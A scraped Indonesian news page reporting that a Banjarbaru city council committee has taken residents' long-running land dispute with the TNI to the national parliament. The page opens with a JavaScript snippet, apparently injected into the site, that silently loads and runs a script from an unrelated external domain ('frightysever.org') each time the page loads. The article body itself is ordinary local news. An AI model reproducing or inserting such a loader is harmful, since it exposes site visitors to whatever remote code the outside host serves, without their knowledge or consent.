(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Panitia Khusus (Pansus) I DPRD Kota Banjarbaru, membawa persoalan sengketa lahan antara warga dengan institusi TNI ke Badan Aspirasi Masyarakat DPR RI setelah berbagai upaya mediasi tidak membuahkan hasil.
Ketua Pansus I DPRD Banjarbaru, Ririk Sumari mengatakan, langkah itu ditempuh untuk mencari solusi yang adil sekaligus memberikan kepastian hukum bagi masyarakat terdampak.
“Kasus sengketa lahan antara warga Banjarbaru dengan TNI belum selesai, meskipun sudah dilakukan mediasi, sehingga kami bawa ke DPR RI,” ujar Ririk, Kamis (25/9/2025).
Ririk menjelaskan konflik agraria yang melibatkan warga Kelurahan Cempaka dan Kelurahan Sungai Ulin tersebut dipicu persoalan kegiatan land clearing oleh TNI di lahan sekitar 5 x 5 kilometer yang mencakup wilayah Kota Banjarbaru dan sebagian Kabupaten Banjar pada September 2024.
Baca juga: Sekolah Lapang Alsintan Bridage Pangan di Martapura Barat
Menurut Ririk, TNI mengklaim pemilikan lahan tersebut berdasarkan peta satelit.
Namun di lapangan, warga telah memiliki sertifikat maupun bukti kepemilikan lainnya sehingga menimbulkan sengketa berkepanjangan.
“Permasalahan ini sudah ada sejak tahun 1900-an, tetapi hingga kini tidak kunjung selesai,” katanya.
Politisi perempuan ini menguraikan sengketa lahan terbagi menjadi dua persoalan utama, yakni pertama, lahan transmigrasi yang ditempati warga sejak 1995 dan sudah bersertifikat hak milik, namun terkendala dalam proses balik nama.
Baca juga: Bangun Konektivitas, Jalan Lintas Tengah Malimali – Banua Enam Dimulai 2027
Kedua, lahan masyarakat lokal dengan status kepemilikan beragam, mulai dari sertifikat, sporadik, surat tanah, hingga kwitansi pembelian.
Ririk menambahkan Pansus I bersama Badan Pertanahan Nasional (BPN) Banjarbaru, BPN wilayah, dan perwakilan masyarakat telah melakukan pengukuran lapangan.
Hasilnya, sebagian besar lahan yang diklaim TNI juga mencakup aset milik Pemerintah Kota Banjarbaru.
“Hasil pengukuran menunjukkan 92 persen lahan transmigrasi masuk dalam klaim TNI. Karena itu kami membawa persoalan ini ke DPR RI agar bisa dimediasi antar kelembagaan,” ujarnya.
Baca juga: APBD 2026 Defisit Rp106 Miliar, Ketua DPRD Banjarbaru: Masih Bisa Ditutupi Silpa
Ia berharap keterlibatan Badan Aspirasi Masyarakat DPR RI dapat mempercepat penyelesaian sengketa sekaligus mengakhiri konflik panjang yang merugikan masyarakat. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Program belanja menarik dengan tajuk Shopping Funtastic 2025 resmi ditutup manajemen Q… Read More
KANALKALIMANTAN.COM, BANJARBARU - Petugas gabungan dari Dinas Perhubungan dan Satuan Polisi Pamong Praja Kota Banjarbaru… Read More
Oleh: Cheryl Rinjani Eileen Manurung, Prodi Geografi, ULM Read More
KANALKALIMANTAN.COM, PARINGIN - Badan Amil Zakat Nasional (Baznas) Kabupaten Balangan menyalurkan berbagai program bantuan di… Read More
KANALKALIMANTAN.COM, PARINGIN – Kabupaten Balangan berhasil meraih predikat kabupaten terinovatif dengan Indeks Inovasi Daerah (IID)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Erna Lisa Halaby membuka kompetisi basket menutup tahun 2025… Read More
This website uses cookies.